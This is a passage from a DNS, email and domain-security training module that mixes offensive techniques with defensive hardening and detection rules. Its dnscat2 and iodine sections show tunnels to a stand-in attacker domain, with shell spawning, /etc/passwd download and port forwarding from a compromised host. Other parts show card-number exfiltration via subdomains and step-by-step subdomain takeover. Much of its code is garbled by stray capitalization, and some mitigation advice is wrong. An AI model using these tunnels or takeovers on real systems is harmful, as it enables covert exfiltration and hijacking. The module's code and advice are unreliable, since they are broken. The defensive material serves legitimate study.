<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# DNS Security, Email Infrastructure & Domain Abuse — Deep Dive

> NERF Training Module — DNS/Email/Domain Infrastructure
> Covers offensive enumeration, defensive hardening, protocol-level attacks, and detection engineering.
---
## Table of Contents

1. [DNS Fundamentals for Security Practitioners](#1-dns-fundamentals-for-security-practitioners)
2. [DNS Zone Transfer Attacks](#2-dns-zone-transfer-attacks)
3. [DNS Cache Poisoning](#3-dns-cache-poisoning)
4. [DNSSEC Implementation & Attacks](#4-dnssec-implementation--attacks)
5. [Subdomain Enumeration Arsenal](#5-subdomain-enumeration-arsenal)
6. [Subdomain Takeover Methodology](#6-subdomain-takeover-methodology)
7. [DNS Tunneling — Offense & Detection](#7-dns-tunneling--offense--detection)
8. [Certificate Transparency Exploitation](#8-certificate-transparency-exploitation)
9. [Domain Permutation & Phishing Detection](#9-domain-permutation--phishing-detection)
10. [SPF Configuration & Bypass](#10-spf-configuration--bypass)
11. [DKIM Implementation & Bypass](#11-dkim-implementation--bypass)
12. [DMARC Configuration & Bypass](#12-dmarc-configuration--bypass)
13. [Email Header Analysis](#13-email-header-analysis)
14. [Email Infrastructure Testing](#14-email-infrastructure-testing)
15. [Domain Reputation Management](#15-domain-reputation-management)
16. [Visual Reconnaissance & Screenshot Tools](#16-visual-reconnaissance--screenshot-tools)
17. [YARA-Based Threat Intelligence](#17-yara-based-threat-intelligence)
18. [Detection Engineering for DNS/Email Threats](#18-detection-engineering-for-dnsemail-threats)
19. [Toolchain Reference](#19-toolchain-reference)
---
## 1. DNS Fundamentals for Security Practitioners

### Record Types — Security Relevance

| Record | Purpose | Security Relevance |
|--------|---------|-------------------|
| A/AAAA | IPv4/IPv6 address | Infrastructure mapping, subdomain takeover detection |
| CNAME | Canonical name alias | Dangling CNAME = subdomain takeover vector |
| MX | Mail exchange | Email infrastructure discovery, spoofing assessment |
| NS | Nameserver delegation | Zone transfer targets, NS takeover |
| TXT | Arbitrary text | SPF, DKIM, DMARC, domain verification tokens |
| SRV | Service location | Internal service discovery (_ldap, _kerberos, _sip) |
| SOA | Start of authority | Zone metadata, serial numbers, admin email |
| PTR | Reverse DNS | Infrastructure attribution, IP-to-hostname mapping |
| CAA | Certificate Authority Authorization | Controls which CAs can issue certs for domain |
| NAPTR | Naming Authority Pointer | VoIP/SIP infrastructure discovery |
| TLSA | DANE TLS association | Certificate pinning via DNS |

### DNS Query Flow — Attack Surface

```
Client -> Stub Resolver -> Recursive Resolver -> Root NS -> TLD NS -> Authoritative NS
  |            |                  |                                        |
  |            |                  +-- Cache poisoning target               |
  |            +-- DNS hijacking via DHCP/router compromise               |
  +-- Local hosts file manipulation                    Zone transfer target +
```

### Recursive vs Authoritative — Why It Matters

- **Recursive resolvers** (8.8.8.8, 1.1.1.1): Cache responses, vulnerable to cache poisoning, can be used for amplification attacks
- **Authoritative servers**: Hold zone data, vulnerable to zone transfers, AXFR/IXFR abuse, denial of service
- **Open resolvers**: Amplification attack vector (response >> query), should never be exposed publicly
---
## 2. DNS Zone Transfer Attacks

### Attack Mechanics

Zone transfers (AXFR/IXFR) replicate the entire DNS zone from primary to secondary nameservers. When misconfigured, any client can request the full zone — exposing internal hostnames, IP ranges, mail servers, and service records.

**AXFR (Full Zone Transfer):**
```bash
# Manual zone transfer attempt
dig @ns1.target.com target.com AXFR

# Using host command
host -t axfr target.com ns1.target.com

# Using nslookup
nslookup
> server ns1.target.com
> set type=any
> ls -d target.com
```

**IXFR (Incremental Zone Transfer):**
```bash
# Request changes since serial number
dig @ns1.target.com target.com IXFR=2024010100
```

### Tooling for Zone Transfer Testing

**dnsrecon** — comprehensive DNS enumeration including zone transfers:
```bash
# Standard enumeration with zone transfer check
dnsrecon -d target.com -t std

# Zone transfer specific
dnsrecon -d target.com -t axfr

# SRV record enumeration (discovers internal services)
dnsrecon -d target.com -t srv

# Brute force subdomains with wordlist
dnsrecon -d target.com -t brt -D wordlist.txt

# Cache snooping against resolver
dnsrecon -d target.com -t snoop -n 10.0.0.1

# Reverse lookup on CIDR
dnsrecon -d target.com -t rvl -r 10.0.0.0/24
```

**fierce** — DNS reconnaissance and zone transfer:
```bash
# Basic enumeration with zone transfer attempt
fierce --domain target.com

# With specific subdomains to test
fierce --domain target.com --subdomains admin api dev staging

# Traverse nearby IPs after discovery
fierce --domain target.com --traverse 10

# Scan entire /24 of discovered IPs
fierce --domain target.com --wide

# Internal network reconnaissance
fierce --dns-servers 10.0.0.1 --range 10.0.0.0/24
```

### Zone Transfer Defense

**BIND Configuration:**
```
// Allow zone transfers only to secondary NS IPs
options {
Allow-transfer { 10.0.1.2; 10.0.1.3; };
};

// Per-zone restriction
zone "example.com" {
Type master;
File "db.example.com";
Allow-transfer { key "transfer-key"; };   // TSIG authentication
Also-notify { 10.0.1.2; 10.0.1.3; };
};

// TSIG key for authenticated transfers
key "transfer-key" {
Algorithm hmac-sha256;
Secret "base64-encoded-secret";
};
```

**Windows DNS Server:**
```powershell
# Restrict zone transfers to specific servers
Set-DnsServerPrimaryZone -Name "example.com" -SecureSecondaries TransferToSecureServers
```

### Detection

```yaml
# Sigma rule: Zone transfer attempt detection
title: DNS Zone Transfer Attempt (AXFR/IXFR)
id: 8a2c3f4e-1b5d-4c6a-9e7f-0d8b2a1c3e5f
status: experimental
description: Detects DNS zone transfer requests which may indicate reconnaissance
logsource:
Category: dns_query
Product: network
detection:
Selection:
Query_type:
            - 'AXFR'
            - 'IXFR'
Condition: selection
falsepositives:
    - Legitimate secondary DNS servers performing zone transfers
    - DNS management tools during authorized audits
level: high
tags:
    - attack.t1590.002
    - attack.reconnaissance
```
---
## 3. DNS Cache Poisoning

### Classical Kaminsky Attack

**Concept:** Race condition between legitimate DNS response and attacker-injected forged response to a recursive resolver.

**Attack Flow:**
1. Attacker queries recursive resolver for `random123.target.com` (nonexistent, forces resolver to query authoritative NS)
2. Before legitimate response arrives, attacker floods resolver with forged responses containing:
   - Correct transaction ID (guessed via birthday attack — 16-bit field = 65,536 possibilities)
   - Spoofed source IP of authoritative NS
   - Authority section pointing `target.com` NS to attacker-controlled nameserver
3. If forged response arrives first and transaction ID matches, resolver caches the poisoned delegation
4. All subsequent queries for `*.target.com` go to attacker's nameserver

**Why Random Subdomain:** Each failed attempt for `randomN.target.com` generates a new transaction ID, enabling rapid retry without waiting for TTL expiration on cached negative results.

### Modern Defenses Against Cache Poisoning

**Source Port Randomization (RFC 5452):**
```bash
# Verify resolver uses random source ports
dig @resolver-ip example.com | grep -i "SERVER"
# Check from resolver side
ss -ulnp | grep named   # Should show varied source ports
```

**DNSSEC** — cryptographic chain of trust (see Section 4)

**DNS Cookies (RFC 7873):**
```
# BIND configuration
options {
Send-cookie yes;
Cookie-algorithm siphash24;
};
```

**Response Rate Limiting (RRL):**
```
# BIND RRL configuration
rate-limit {
Responses-per-second 5;
Window 15;
Slip 2;
Ipv4-prefix-length 24;
Ipv6-prefix-length 56;
};
```

### SAD DNS Attack (Side-channel Assisted DNS Poisoning, 2020)

Exploits ICMP port unreachable messages as a side channel to determine the ephemeral port used by the resolver, reducing the guessing space from 2^16 ports * 2^16 TXIDs to just 2^16 TXIDs.

**Mitigation:**
```bash
# Linux: Rate-limit outgoing ICMP port unreachable
iptables -A OUTPUT -p icmp --icmp-type port-unreachable -j RATE --rate 50/sec

# Or disable ICMP responses entirely (aggressive)
sysctl -w net.ipv4.icmp_ratelimit=0
```

### DNS over HTTPS (DoH) / DNS over TLS (DoT)

Encrypts DNS queries, preventing on-path observation and tampering:

```bash
# Configure systemd-resolved for DoT
# /etc/systemd/resolved.conf
[Resolve]
DNS=1.1.1.1#cloudflare-dns.com 8.8.8.8#dns.google
DNSOverTLS=yes
DNSSEC=yes

# Verify DoT is working
resolvectl status
resolvectl query --protocol=dot example.com
```

**Detection consideration:** DoH on port 443 blends with HTTPS traffic — harder for network security monitoring. DoT on port 853 is identifiable and blockable.
---
## 4. DNSSEC Implementation & Attacks

### How DNSSEC Works

DNSSEC adds cryptographic signatures to DNS records, creating a chain of trust from root zone to individual records.

**Key Components:**
- **RRSIG** — Digital signature over a set of DNS records
- **DNSKEY** — Public key used to verify RRSIG signatures
- **DS** — Delegation Signer record linking child zone's DNSKEY to parent zone
- **NSEC/NSEC3** — Authenticated denial of existence (proves a record does NOT exist)

**Chain of Trust:**
```
Root Zone (.) → DNSKEY → DS for .com
    .com      → DNSKEY → DS for example.com
Example.com → DNSKEY → RRSIG over A, MX, etc.
```

### DNSSEC Zone Signing (BIND)

```bash
# Generate Zone Signing Key (ZSK)
dnssec-keygen -a ECDSAP256SHA256 -n ZONE example.com

# Generate Key Signing Key (KSK)
dnssec-keygen -a ECDSAP256SHA256 -n ZONE -f KSK example.com

# Sign the zone
dnssec-signzone -A -3 $(head -c 1000 /dev/urandom | sha1sum | cut -b 1-16) \
    -N INCREMENT -o example.com -t db.example.com

# Add DS record to parent zone (via registrar)
# Extract DS from signed zone file
```

### DNSSEC Validation

```bash
# Test DNSSEC validation
dig +dnssec example.com A
# Look for 'ad' (Authenticated Data) flag in response

# Verify DNSSEC chain
dig +trace +dnssec example.com

# Check DS record at parent
dig example.com DS @a.gtld-servers.net

# Validate with drill
drill -DT example.com
```

### NSEC Zone Walking Attack

NSEC records chain together all existing names in a zone — an attacker can enumerate all records by following the chain.

```bash
# NSEC zone walking
# ldns-walk from ldns-utils
ldns-walk @ns1.target.com target.com

# Using dnsrecon
dnsrecon -d target.com -t zonewalk

# Using nsec3walker
nsec3walker --zone target.com --nameserver ns1.target.com
```

**NSEC3 Mitigation:** Replaces plaintext names with hashed names. However, NSEC3 hashes can be cracked offline:
```bash
# Collect NSEC3 records
dig target.com NSEC3PARAM
# Crack NSEC3 hashes with nsec3cracker or hashcat
hashcat -m 8300 nsec3_hashes.txt wordlist.txt
```

**NSEC3 with Opt-Out:** Large zones (like .com) use opt-out to avoid signing every delegation, creating gaps that can be exploited.

### DNSSEC Failure Modes

| Failure | Impact | Detection |
|---------|--------|-----------|
| Expired signatures | SERVFAIL for validating resolvers | Monitor RRSIG expiry dates |
| Key rollover failure | Chain of trust breaks | Test with `delv` or `drill -DT` |
| Algorithm rollover | Incompatible validators reject zone | Test against multiple validators |
| Missing DS at parent | Zone appears unsigned | `dig DS` at parent |
| Clock skew | Signature validation fails | NTP synchronization |
---
## 5. Subdomain Enumeration Arsenal

### Passive Enumeration

**Certificate Transparency (crt.sh):**
```bash
# Query crt.sh for subdomains
curl -s "https://crt.sh/?q=%25.target.com&output=json" | \
Jq -r '.[].name_value' | sort -u

# With massdns ct.py script
python3 ct.py target.com | massdns -r resolvers.txt -t A -o S
```

**OWASP Amass — Passive Mode:**
```bash
# Passive-only enumeration (no DNS queries to target)
amass enum -passive -d target.com -o passive_subs.txt

# With API keys configured in datasources.yaml
amass enum -passive -d target.com -config config.yaml

# Intel gathering — discover related domains via ASN
amass intel -asn 12345 -o intel_results.txt

# Track changes between enumerations
amass track -d target.com
```

Amass integrates 50+ data sources including certificate transparency logs, search engines, DNS aggregators, WHOIS data, web archives, and third-party APIs (Shodan, Censys, VirusTotal, SecurityTrails, etc.). Configuration via `datasources.yaml` manages API credentials.

### Active Enumeration

**MassDNS — High-Performance Resolution:**
```bash
# Resolve subdomain list (350,000+ queries/sec)
massdns -r resolvers.txt -t A -o S -w results.txt subdomains.txt

# Subdomain brute-force with subbrute
./scripts/subbrute.py target.com wordlist.txt | \
Massdns -r resolvers.txt -t A -o S -w results.txt

# JSON output for parsing
massdns -r resolvers.txt -t A -o J subdomains.txt > results.json

# Authoritative-only queries (bypass resolver caching)
massdns -r <(./scripts/auth-addrs.sh target.com) --norecurse -o Je subs.txt

# Certificate transparency integration
./scripts/ct.py target.com | massdns -r resolvers.txt -t A -o S
```

**Performance Tuning:**
- `-s` flag controls concurrent lookups (default 10,000) — higher values increase speed but may overwhelm resolvers
- `--interval` sets retry delay in milliseconds (default 500)
- `--resolve-count` sets max retries (default 50)
- `--rand-src-ipv6 <prefix>` randomizes source IPv6 to evade resolver rate-limiting (requires `CAP_NET_RAW`)

**Puredns — Wildcard-Aware Resolution:**
```bash
# Resolve with wildcard detection and filtering
puredns resolve subdomains.txt -r resolvers.txt --write valid.txt

# Brute-force with automatic wildcard filtering
puredns bruteforce wordlist.txt target.com -r resolvers.txt

# Multi-domain brute-force
puredns bruteforce wordlist.txt -d domains.txt

# Save all output types
puredns resolve subs.txt \
    --write valid.txt \
    --write-wildcards wildcards.txt \
    --write-massdns massdns_raw.txt

# Pipeline integration
cat subs.txt | puredns resolve -q | httpx
```

**Wildcard Detection:** Puredns uses multi-phase analysis:
1. Phase 1: Mass resolve via massdns
2. Phase 2: Identify wildcard roots by analyzing phase 1 results as DNS cache
3. Phase 3: Validate remaining results against trusted resolvers (default: 8.8.8.8, 8.8.4.4)

`--wildcard-tests N` (default 3) — increase to 50+ for heavily load-balanced DNS. `--wildcard-batch` controls memory usage for large datasets.

### Subdomain Permutation

**AlterX — Pattern-Based Generation:**
```bash
# Basic permutation with enrichment
cat known_subs.txt | alterx -enrich -o permuted.txt

# Custom patterns
alterx -list subs.txt -p '{{word}}-{{sub}}.{{suffix}}' -o out.txt

# Pipeline: passive enum -> permutation -> resolution
chaos -d target.com | alterx -enrich | puredns resolve -q

# Estimate output size before generating
alterx -list subs.txt -enrich -es
```

**DSL Variables:**
| Variable | Description | Example (input: `api.dev.target.com`) |
|----------|-------------|---------------------------------------|
| `{{sub}}` | Leftmost subdomain | `api` |
| `{{suffix}}` | Everything after subdomain | `dev.target.com` |
| `{{root}}` | eTLD+1 | `target.com` |
| `{{tld}}` | Top-level domain | `com` |
| `{{word}}` | From wordlist/enrichment | `prod`, `staging`, etc. |
| `{{subN}}` | Numbered subdomain parts | `{{sub1}}` = `api`, `{{sub2}}` = `dev` |

**Altdns — Classic Permutation:**
```bash
# Generate permutations and resolve
altdns -i subdomains.txt -o permuted.txt -w words.txt -r -s valid.txt

# Generate only (resolve separately with massdns/puredns)
altdns -i subdomains.txt -o permuted.txt -w words.txt

# Custom resolver
altdns -i subs.txt -o out.txt -w words.txt -r -s valid.txt -d 1.2.3.4
```

Best results with 200+ initial subdomains. Works by prepending, appending, and inserting wordlist terms with separators (dash, dot) to known subdomains.

### Complete Enumeration Pipeline

```bash
#!/bin/bash
# Full subdomain enumeration pipeline
TARGET="target.com"

# Phase 1: Passive collection
amass enum -passive -d $TARGET -o passive.txt
curl -s "https://crt.sh/?q=%25.$TARGET&output=json" | jq -r '.[].name_value' | sort -u >> passive.txt
sort -u passive.txt -o passive.txt

# Phase 2: Permutation
cat passive.txt | alterx -enrich -o permuted.txt

# Phase 3: Active resolution with wildcard filtering
puredns resolve permuted.txt -r resolvers.txt --write resolved.txt

# Phase 4: HTTP probing
cat resolved.txt | httpx -silent -status-code -title -tech-detect -o live.txt

# Phase 5: Visual reconnaissance
cat live.txt | aquatone -out aquatone_report/
```
---
## 6. Subdomain Takeover Methodology

### Core Concept

A subdomain takeover occurs when a DNS record (usually CNAME) points to an external service that has been deprovisioned. An attacker claims that resource on the external platform and serves content under the victim's subdomain.

### Indicators of Vulnerability

```
CNAME dangling reference:
Blog.target.com  →  CNAME  →  target.ghost.io  (Ghost blog removed)
Shop.target.com  →  CNAME  →  target.myshopify.com  (Shopify store closed)
Docs.target.com  →  CNAME  →  target.s3.amazonaws.com  (S3 bucket deleted)
```

**Error Signatures by Provider:**

| Provider | Error Message / Indicator | CNAME Pattern |
|----------|--------------------------|---------------|
| **AWS S3** | "NoSuchBucket" | `*.s3.amazonaws.com`, `*.s3-website-*.amazonaws.com` |
| **AWS CloudFront** | "Bad Request" / no distribution | `*.cloudfront.net` |
| **AWS Elastic Beanstalk** | NXDOMAIN on `*.elasticbeanstalk.com` | `*.elasticbeanstalk.com` |
| **Azure Blob** | "The specified container does not exist" | `*.blob.core.windows.net` |
| **Azure App Service** | Default Azure page / NXDOMAIN | `*.azurewebsites.net` |
| **Azure CDN** | "404 - page not found" | `*.azureedge.net` |
| **Azure Traffic Manager** | NXDOMAIN | `*.trafficmanager.net` |
| **GitHub Pages** | "There isn't a GitHub Pages site here" | `*.github.io` |
| **Heroku** | "No such app" | `*.herokuapp.com`, `*.herokudns.com` |
| **Shopify** | "Sorry, this shop is currently unavailable" | `*.myshopify.com` |
| **Ghost** | "The thing you were looking for is no longer here" | `*.ghost.io` |
| **Tumblr** | "There's nothing here" / "Whatever you were looking for..." | `*.tumblr.com` |
| **WordPress.com** | "Do you want to register" | `*.wordpress.com` |
| **Fastly** | "Fastly error: unknown domain" | `*.fastly.net` |
| **Pantheon** | "404 error unknown site!" | `*.pantheonsite.io` |
| **Zendesk** | "Help Center Closed" | `*.zendesk.com` |
| **Surge.sh** | "project not found" | `*.surge.sh` |
| **Fly.io** | NXDOMAIN | `*.fly.dev` |
| **Google Cloud Storage** | "NoSuchBucket" | `*.storage.googleapis.com` |
| **Firebase** | Default Firebase page | `*.firebaseapp.com`, `*.web.app` |
| **Netlify** | "Not Found - Request ID" | `*.netlify.app`, `*.netlify.com` |
| **Vercel** | Default Vercel 404 | `*.vercel.app`, `*.now.sh` |
| **Cargo Collective** | "If you're moving your domain away..." | `*.cargocollective.com` |
| **Strikingly** | "page not found" | `*.strikinglys.com` |
| **Unbounce** | "The requested URL was not found" | `*.unbouncepages.com` |
| **Bitbucket** | "Repository not found" | `*.bitbucket.io` |
| **Agile CRM** | "Sorry, this page is no longer available" | `*.agilecrm.com` |
| **Readme.io** | "Project doesnt exist" | `*.readme.io` |

### Cloud Provider — Detailed Takeover Process

**AWS S3:**
```bash
# 1. Identify dangling CNAME
dig blog.target.com CNAME
# Returns: target-blog.s3.amazonaws.com

# 2. Verify bucket doesn't exist
curl -I http://target-blog.s3.amazonaws.com
# Returns: 404 NoSuchBucket

# 3. Create the bucket in your AWS account (same name)
aws s3 mb s3://target-blog --region us-east-1

# 4. Enable static website hosting
aws s3 website s3://target-blog --index-document index.html

# 5. Set public read policy
aws s3api put-bucket-policy --bucket target-blog --policy '{
    "Statement": [{
        "Effect": "Allow",
        "Principal": "*",
        "Action": "s3:GetObject",
        "Resource": "arn:aws:s3:::target-blog/*"
    }]
}'

# 6. Upload proof of concept
echo "<h1>Subdomain Takeover PoC</h1>" > index.html
aws s3 cp index.html s3://target-blog/
```

**AWS CloudFront:**
```bash
# Dangling distribution — CNAME configured but distribution deleted
# Create new CloudFront distribution with the target's CNAME as alternate domain
aws cloudfront create-distribution \
    --origin-domain-name attacker-origin.com \
    --default-root-object index.html \
    --aliases cdn.target.com
```

**Azure App Service:**
```bash
# 1. Verify dangling CNAME
dig app.target.com CNAME  # -> target-app.azurewebsites.net (NXDOMAIN)

# 2. Create Azure App Service with matching name
az webapp create --name target-app --resource-group mygroup --plan myplan

# 3. Add custom domain
az webapp config hostname add --webapp-name target-app \
    --resource-group mygroup --hostname app.target.com
```

**GitHub Pages:**
```bash
# 1. Verify CNAME to *.github.io that shows "There isn't a GitHub Pages site here"
# 2. Create repo matching the GitHub Pages naming convention
# 3. Add CNAME file with target subdomain
echo "docs.target.com" > CNAME
git add CNAME && git commit -m "takeover" && git push
```

### NS Delegation Takeover

More severe than CNAME — attacker controls the entire zone:
```bash
# Check if NS records point to expired/available domains
dig target.com NS
# If ns1.expired-dns-provider.com is available for registration:
# Register the domain, set up authoritative DNS, control all records
```

### Automated Detection

```bash
# Scan for dangling CNAMEs across subdomain list
while read sub; do
Cname=$(dig +short $sub CNAME)
If [ -n "$cname" ]; then
Http_code=$(curl -s -o /dev/null -w "%{http_code}" "http://$sub" 2>/dev/null)
Echo "$sub -> $cname (HTTP: $http_code)"
Fi
done < subdomains.txt | grep -E "(404|NXDOMAIN|NoSuchBucket|not found)"

# Using nuclei with takeover templates
nuclei -l subdomains.txt -t takeovers/

# Using subjack
subjack -w subdomains.txt -t fingerprints.json -timeout 30 -ssl -v
```

### Prevention

1. **Remove DNS records before deprovisioning services** — always delete CNAME/A records first
2. **Monitor for dangling records** — automated weekly scans of all DNS entries
3. **Use CAA records** — restrict certificate issuance to prevent SSL for taken-over subdomains
4. **Implement subdomain monitoring** — alert on CNAME targets that return NXDOMAIN
5. **DNS record inventory** — maintain authoritative list of all DNS records with service owners
6. **Claim-before-delete** — on cloud platforms, verify the custom domain mapping exists before removing the resource
---
## 7. DNS Tunneling — Offense & Detection

### dnscat2 — Deep Protocol Analysis

**Architecture:**
- Client-server model: client sends DNS queries, server runs on authoritative NS
- Custom protocol layer treats DNS as a byte-stream transport
- DNS is merely the carrier — the dnscat protocol handles sessions, encryption, windowing

**Tunnel Establishment:**
```bash
# Server setup (attacker's authoritative NS for tunnel.attacker.com)
ruby dnscat2.rb tunnel.attacker.com
# or with pre-shared secret for MitM protection
ruby dnscat2.rb tunnel.attacker.com --secret=mysecretkey

# Client (on compromised host)
./dnscat --dns domain=tunnel.attacker.com
# or direct connection (no authoritative NS needed, but more detectable)
./dnscat --dns host=attacker-ip,port=53
```

**Record Types for Tunneling:**
- **TXT** — highest bandwidth, can carry ~189 bytes per query (base64 in subdomain label + TXT response)
- **CNAME** — moderate bandwidth, single label response
- **MX** — moderate bandwidth, domain name in response
- **A/AAAA** — lowest bandwidth, 4/16 bytes per response respectively
- dnscat2 defaults to TXT, CNAME, MX but supports all types

**Encryption:**
- ECDH key exchange per session (new keypair each connection)
- Salsa20 stream cipher for data encryption
- SHA3 for message authentication
- Pre-shared secret mode prevents MitM during key exchange
- "Short authentication strings" (English word sequences) for manual verification

**Session Management:**
- Window-based multiplexing: main command window + child sessions
- Each session can spawn shells, file transfers, port forwards
- Polling architecture: client periodically queries server (resilient to drops)
- Handles out-of-order, dropped, and duplicate packets

**Post-Exploitation via dnscat2:**
```
# Server-side commands after client connects
dnscat2> session -i 1          # Interact with session
command (client) > shell       # Spawn shell (new session)
command (client) > exec calc   # Execute command
command (client) > download /etc/passwd /tmp/passwd
command (client) > listen 0.0.0.0:4444 target:22  # Port forward
```

### Other DNS Tunneling Tools

**iodine** — IP-over-DNS:
```bash
# Server
iodined -f -c -P password 10.0.0.1 tunnel.attacker.com
# Client
iodine -f -P password tunnel.attacker.com
# Creates tun interface — full IP tunnel over DNS
```

**dns2tcp:**
```bash
# Server config (/etc/dns2tcpd.conf)
listen = 0.0.0.0
port = 53
user = nobody
chroot = /tmp
domain = tunnel.attacker.com
resources = ssh:127.0.0.1:22, smtp:127.0.0.1:25
```

### DNS Tunneling Detection

**Network Indicators:**

| Indicator | Normal DNS | DNS Tunnel |
|-----------|-----------|------------|
| Query length | 20-60 chars | 100-253 chars (max label length) |
| Subdomain labels | 1-3 levels | 4+ levels of encoded data |
| Query frequency | Sporadic, user-driven | Regular polling intervals |
| Record types | A, AAAA dominant | TXT, NULL, CNAME heavy |
| Response size | Small (4-16 bytes for A/AAAA) | Large TXT records |
| Entropy | Low (human-readable) | High (base32/64 encoded) |
| Unique subdomains | Low per domain | Extremely high per domain |
| Time pattern | Business hours, bursty | Consistent 24/7 heartbeat |

**Detection Queries:**

```sql
-- Splunk: High-entropy DNS queries
index=dns
| eval query_length=len(query)
| eval label_count=mvcount(split(query, "."))
| where query_length > 50 AND label_count > 4
| stats count by query, src_ip
| where count > 100

-- Splunk: Unusual TXT record volume
index=dns query_type=TXT
| stats count by src_ip, query
| where count > 50
| sort -count
```

```yaml
# Sigma: DNS tunneling detection via query length
title: Potential DNS Tunneling via Long Subdomain Queries
id: 7c3a5e2d-9f1b-4a8c-b6d3-2e7f0c4a1b9d
status: experimental
description: Detects unusually long DNS queries that may indicate DNS tunneling
logsource:
Category: dns_query
Product: network
detection:
Selection:
Query|re: '^[a-z0-9]{30,}\.'    # Long encoded subdomain labels
Condition: selection
falsepositives:
    - CDN domains with long subdomain prefixes
    - DKIM verification queries
    - Anti-spam DNS lookups (DNSBL)
level: medium
tags:
    - attack.t1572
    - attack.command_and_control
---
# Sigma: High volume of TXT queries to single domain
title: Excessive TXT DNS Queries to Single Domain
id: 3b8c1d4e-5f6a-7b2c-9d0e-1a3f5c7d9b2e
status: experimental
description: Detects high volume of TXT record queries to a single domain indicating potential data exfiltration
logsource:
Category: dns_query
Product: network
detection:
Selection:
Query_type: 'TXT'
Timeframe: 5m
Condition: selection | count(query) by dst_domain > 100
falsepositives:
    - SPF/DKIM/DMARC validation for high-volume mail servers
    - DNS-based service discovery
level: high
tags:
    - attack.t1048.003
    - attack.exfiltration
```

**Entropy-Based Detection:**
```python
import math
from collections import Counter
Def shannon_entropy(data: str) -> float:
    """Calculate Shannon entropy of a string."""
If not data:
Return 0.0
Counter = Counter(data)
Length = len(data)
Return -sum(
        (count / length) * math.log2(count / length)
For count in counter.values()
    )

# Normal DNS: entropy ~2.5-3.5
# Tunneled DNS: entropy ~4.0-5.0+
# Threshold: flag queries with entropy > 3.8 on subdomain portion
```

### DNS Exfiltration Detection

Beyond tunneling (bidirectional), watch for one-way exfiltration:
```
# Data encoded as subdomain labels
# Exfiltrating credit cards:
NDIzNDU2Nzg5MDEyMzQ1Ng.exfil.attacker.com   (base64 of CC number)

# Exfiltrating file contents chunk by chunk
chunk001.aGVsbG8gd29ybGQ.exfil.attacker.com
chunk002.dGhpcyBpcyBhIHQ.exfil.attacker.com
```
---
## 8. Certificate Transparency Exploitation

### How CT Works

Certificate Transparency (RFC 6962) requires CAs to log all issued certificates to publicly auditable append-only logs. This creates a rich data source for:
- **Offense:** Subdomain discovery, infrastructure mapping, identifying shadow IT
- **Defense:** Detecting unauthorized certificate issuance, monitoring for impersonation

### Querying Certificate Transparency

**crt.sh (Sectigo):**
```bash
# Find all certificates for a domain
curl -s "https://crt.sh/?q=%25.target.com&output=json" | \
Jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u

# Find certificates by organization
curl -s "https://crt.sh/?q=target.com&output=json" | \
Jq -r '.[] | [.id, .name_value, .issuer_name, .not_before, .not_after] | @csv'

# Search by SHA-256 fingerprint
curl -s "https://crt.sh/?q=FINGERPRINT_HERE&output=json"
```

**MassDNS CT Integration:**
```bash
# Extract subdomains from CT logs and resolve
python3 scripts/ct.py target.com | sort -u | \
Massdns -r resolvers.txt -t A -o S -w ct_resolved.txt
```

### Defensive CT Monitoring

```bash
# Monitor for new certificates (cron job)
#!/bin/bash
DOMAIN="target.com"
KNOWN_CERTS="/opt/ct-monitor/known_certs.txt"
touch "$KNOWN_CERTS"
Curl -s "https://crt.sh/?q=%25.$DOMAIN&output=json" | \
Jq -r '.[].id' | sort -n > /tmp/current_certs.txt
Diff "$KNOWN_CERTS" /tmp/current_certs.txt | grep '^>' | \
While read _ cert_id; do
Echo "[ALERT] New certificate issued: https://crt.sh/?id=$cert_id"
        # Send alert to SIEM/Slack
Done
Cp /tmp/current_certs.txt "$KNOWN_CERTS"
```

### CAA Records — Restricting Certificate Issuance

```bash
# Only allow Let's Encrypt and DigiCert to issue certificates
# Report violations to security team
$ORIGIN example.com.
@   CAA 0 issue "letsencrypt.org"
@   CAA 0 issue "digicert.com"
@   CAA 0 issuewild "letsencrypt.org"    ; wildcard certs
@   CAA 0 iodef "mailto:security@example.com"  ; violation reports
@   CAA 0 iodef "https://example.com/caa-report"

# Verify CAA records
dig example.com CAA
```
---
## 9. Domain Permutation & Phishing Detection

### dnstwist — Domain Fuzzing Engine

**Permutation Algorithms:**

| Algorithm | Description | Example (`target.com`) |
|-----------|-------------|----------------------|
| Bitsquatting | Single-bit flip in domain | `tareet.com`, `targev.com` |
| Homoglyph | Unicode lookalike characters | `targ&#x0435;t.com` (Cyrillic 'e') |
| Typosquatting | Adjacent key substitutions | `tqrget.com`, `targwt.com` |
| Hyphenation | Insert hyphens | `tar-get.com`, `targe-t.com` |
| Insertion | Insert characters | `tarrget.com`, `targget.com` |
| Omission | Remove characters | `trget.com`, `targt.com` |
| Repetition | Repeat characters | `ttarget.com`, `tarrget.com` |
| Replacement | Replace with similar chars | `target.corn` (m->rn) |
| Subdomain | Insert dots | `t.arget.com`, `ta.rget.com` |
| Transposition | Swap adjacent chars | `tagertt.com` |
| Vowel swap | Replace vowels | `terget.com`, `targot.com` |
| Addition | Append characters | `targets.com`, `target1.com` |
| Dictionary | Append/prepend words | `target-login.com` |
| TLD swap | Change TLD | `target.net`, `target.org` |

**Usage:**
```bash
# Show only registered (active) domains
dnstwist --registered target.com

# Phishing page detection via fuzzy hashing
dnstwist --lsh https://target.com/login

# Alternative fuzzy hash algorithm
dnstwist --lsh tlsh target.com

# Screenshot comparison (perceptual hashing)
dnstwist --phash --screenshots /tmp/screenshots target.com

# MX record detection (catching misdirected email)
dnstwist target.com | grep MX

# GeoIP analysis
dnstwist --geoip target.com

# Selective fuzzers
dnstwist --fuzzers "homoglyph,hyphenation" target.com

# CSV export for SIEM integration
dnstwist --format csv target.com > brand_monitor.csv

# With custom dictionary
dnstwist --dictionary dictionaries/english.dict target.com

# TLD variations
dnstwist --tld dictionaries/common_tlds.dict target.com
```

**Enterprise Integration:** dnstwist integrates with Splunk, Cortex XSOAR, Rapid7, and CISA Crossfeed for continuous brand monitoring. SSDEEP/TLSH fuzzy hashing compares HTML content between the legitimate domain and suspicious lookalikes to detect active phishing pages.

### Defensive Domain Monitoring Program

```bash
#!/bin/bash
# Daily brand protection scan
DOMAIN="company.com"
PREV="/opt/brand-monitor/previous.json"
CURR="/opt/brand-monitor/current.json"

# Generate current snapshot
dnstwist --registered --format json "$DOMAIN" > "$CURR"

# Compare with previous scan
python3 -c "
import json
prev = {d['domain']: d for d in json.load(open('$PREV'))}
curr = {d['domain']: d for d in json.load(open('$CURR'))}
new = set(curr.keys()) - set(prev.keys())
for d in new:
Info = curr[d]
